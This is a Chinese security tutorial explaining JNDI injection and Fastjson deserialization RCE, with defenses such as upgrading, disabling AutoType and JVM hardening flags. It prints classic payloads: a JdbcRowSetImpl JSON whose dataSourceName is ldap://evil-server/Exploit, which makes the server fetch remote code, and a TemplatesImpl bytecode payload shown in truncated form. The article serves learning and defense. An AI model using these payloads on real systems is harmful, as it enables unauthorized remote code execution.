Java安全:理解JNDI注入与Fastjson反序列化漏洞

文章目录

    • 概述
    • [一、JNDI 注入的基本原理](#一、JNDI 注入的基本原理)
      • [1.1 JNDI 是什么](#1.1 JNDI 是什么)
      • [1.2 LDAP 和 RMI 的角色](#1.2 LDAP 和 RMI 的角色)
      • [1.3 完整攻击流程](#1.3 完整攻击流程)
    • [二、Fastjson 反序列化漏洞](#二、Fastjson 反序列化漏洞)
      • [2.1 Fastjson 的 AutoType 机制](#2.1 Fastjson 的 AutoType 机制)
      • [2.2 攻击过程](#2.2 攻击过程)
      • [2.3 经典攻击链](#2.3 经典攻击链)
        • [JdbcRowSetImpl + JNDI 注入](#JdbcRowSetImpl + JNDI 注入)
        • [TemplatesImpl + 字节码执行](#TemplatesImpl + 字节码执行)
    • [三、Fastjson 版本演进与攻防对抗](#三、Fastjson 版本演进与攻防对抗)
    • 四、如何防御
      • [4.1 升级到安全版本](#4.1 升级到安全版本)
      • [4.2 配置加固](#4.2 配置加固)
      • [4.3 JNDI 相关防护](#4.3 JNDI 相关防护)
      • [4.4 架构层防护](#4.4 架构层防护)
      • [4.5 代码层面的好习惯](#4.5 代码层面的好习惯)
    • 五、总结

概述

在 Java 应用安全领域,有两个经典且影响深远的漏洞:JNDI 注入和 Fastjson 反序列化。这两个漏洞都能导致远程代码执行(RCE),让攻击者完全控制服务器。本文将从原理出发,逐步解析这些漏洞是如何工作的,以及我们该如何防御。

一、JNDI 注入的基本原理

1.1 JNDI 是什么

JNDI(Java Naming and Directory Interface)是 Java 提供的一套标准 API,用于查找各种命名和目录服务。简单说,就是用一个名字去找到对应的对象。比如,我们可以通过 JNDI 找到数据库连接池。

JNDI 的核心就是 lookup 方法,像这样:

java 复制代码
Context ctx = new InitialContext();
Object obj = ctx.lookup("someName");

问题在于,如果 lookup 的参数来自用户输入,而这个输入是一个远程地址,那就危险了。

1.2 LDAP 和 RMI 的角色

JNDI 支持多种服务,常见的有 LDAP 和 RMI:

  • LDAP:轻量级目录访问协议,用于存储树形结构的数据
  • RMI:Java 远程方法调用,允许调用远程 JVM 上的对象

当 JNDI 访问这些服务时,如果服务返回了特定类型的对象,Java 会尝试加载和实例化它们,甚至从远程下载类文件。

1.3 完整攻击流程

典型的 JNDI 注入攻击是这样的:

  1. 攻击者准备:启动一个恶意 LDAP 服务器
  2. 构造恶意输入:把 ldap://evil-server/Exploit 这样的地址传给应用
  3. 应用 lookup:应用调用 InitialContext.lookup() 访问这个地址
  4. 加载恶意类:Java 从攻击者的服务器下载 Evil.class
  5. 执行代码:恶意类的静态代码块或构造函数执行系统命令

早期 JDK(8u121 之前)默认允许远程加载类,所以攻击很容易。后来 Oracle 逐步收紧限制,但只要能找到本地存在的危险类,仍然可以利用。

二、Fastjson 反序列化漏洞

2.1 Fastjson 的 AutoType 机制

Fastjson 是一个 JSON 解析库,性能很好。它有个特性叫 AutoType,允许在 JSON 里用 @type 指定要反序列化的类:

json 复制代码
{"@type":"com.example.User","name":"test"}

这本来是方便的功能,但如果 @type 的值可以被攻击者控制,就会出问题。

2.2 攻击过程

Fastjson 反序列化时会做这些事:

  1. 读取 @type 字段得到类名
  2. 用反射实例化这个类
  3. 调用 setter 方法设置 JSON 里的属性
  4. 有时还会调用 getter 方法

攻击者就是利用这个过程,找那些有危险 setter 或 getter 的类。

2.3 经典攻击链

JdbcRowSetImpl + JNDI 注入

com.sun.rowset.JdbcRowSetImpl 是 JDK 自带的类,它有个 setDataSourceName() 方法,会调用 JNDI lookup。

攻击者构造这样的 JSON:

json 复制代码
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://evil-server/Exploit",
  "autoCommit": true
}

当 Fastjson 反序列化时:

  • 先创建 JdbcRowSetImpl 对象
  • 调用 setDataSourceName 设置地址
  • 调用 setAutoCommit 时触发连接,进而触发 JNDI lookup
  • 接着就和前面的 JNDI 注入一样了

这适用于 Fastjson 1.2.24 之前的版本。

TemplatesImpl + 字节码执行

后来 Fastjson 加了黑名单,但 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 没被加进去。

这个类可以加载字节码并执行。攻击者把恶意类编译后的字节码 Base64 编码,放到 _bytecodes 字段里:

json 复制代码
{
  "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes": ["yv66vgAA...恶意字节码..."],
  "_name": "Test",
  "_outputProperties": {}
}

这样就不需要远程下载类了,直接在本地执行恶意字节码。

三、Fastjson 版本演进与攻防对抗

Fastjson 的历史就是一场攻防对抗:

版本阶段 防护措施 绕过方法
≤1.2.24 几乎无防护 JdbcRowSetImpl 直接攻击
1.2.25-1.2.47 黑名单 TemplatesImpl 绕过
1.2.48-1.2.68 扩大黑名单 LazyMap 等绕过
≥1.2.80 默认关闭 AutoType 白名单配置不当漏洞
2.0.29+ 重构安全机制 新型绕过已修复

每一次官方修复,攻击者都能找到新的方法绕过,直到后来默认关闭了 AutoType。

四、如何防御

4.1 升级到安全版本

这是最简单有效的方法:

  • Fastjson 1.x:至少升级到 1.2.83
  • Fastjson 2.x:至少升级到 2.0.29
  • 最好的选择:直接用 Fastjson2,安全架构重新设计过

4.2 配置加固

1.x 版本:

java 复制代码
// 全局关闭 AutoType,这是核心
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// 如果必须用,只开放业务需要的类
ParserConfig.getGlobalInstance().addAccept("com.company.model.User");
ParserConfig.getGlobalInstance().addAccept("com.company.model.Order");

2.x 版本:

默认就是安全的,保持默认设置就行。

4.3 JNDI 相关防护

JDK 8u191+ 已经有默认防护,但可以再加一层:

java 复制代码
// 启动参数
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

4.4 架构层防护

  • 网关过滤 :把 JSON 里的 @type 字段直接去掉
  • 替换序列化库:用 Jackson 或 Gson,它们默认不支持动态类型
  • 监控告警:发现有人用 JdbcRowSetImpl、TemplatesImpl 这些类就告警
  • 权限限制:容器里的应用别给太高权限,即使被攻破也干不了太多坏事

4.5 代码层面的好习惯

反序列化时,显式指定类型:

java 复制代码
// 好的做法:指定类型
User user = JSON.parseObject(json, User.class);

// 危险的做法:用 Object 接收
Object obj = JSON.parseObject(json); // 别这样!

五、总结

核心要点

  1. JNDI 注入:信任了不可信的 lookup 参数,导致加载恶意类
  2. Fastjson 漏洞:AutoType 机制允许加载任意类,结合危险类的方法执行代码
  3. 最佳防御:升级版本 + 关闭 AutoType + 显式指定类型

学习建议

理解这些漏洞的原理很重要,但更重要的是记住:

  • 不要信任外部输入
  • 最小权限原则
  • 及时更新依赖库

安全是一个持续的过程,没有一劳永逸的解决方案。


⚠️ 本文仅用于安全学习,请勿在未授权系统上尝试任何攻击!

相关推荐
GISer_Jing7 小时前
WebGL|Three.js渲染管线核心技术解析
java·javascript·webgl
EnCi Zheng7 小时前
01-如何监听接口调用情况?
java·spring boot·后端
楷哥爱开发7 小时前
Facebook解封指南:4种封禁类型及其原因(附对应申诉方法)
网络·学习·安全
请为小H留灯7 小时前
IDEA / PyCharm 如何实现“一个项目一个窗口”?多项目并行开发设置
java·pycharm·intellij-idea·实战项目
苦逼的猿宝7 小时前
宠物咖啡馆平台的设计与实现(源码+论文)
java·毕业设计·springboot·计算机毕业设计
Geometry Fu7 小时前
《物联网安全》第3.1章 RFID安全
物联网·安全·rfid
程序员buddha8 小时前
Spring Boot框架,类注入成 Bean的方式
java·spring boot·后端
城管不管8 小时前
什么是Prompt?
android·java·数据库·语言模型·llm·prompt
AI大模型8 小时前
被AI抢饭碗的Java程序员,后来都怎样了?
java·后端·ai编程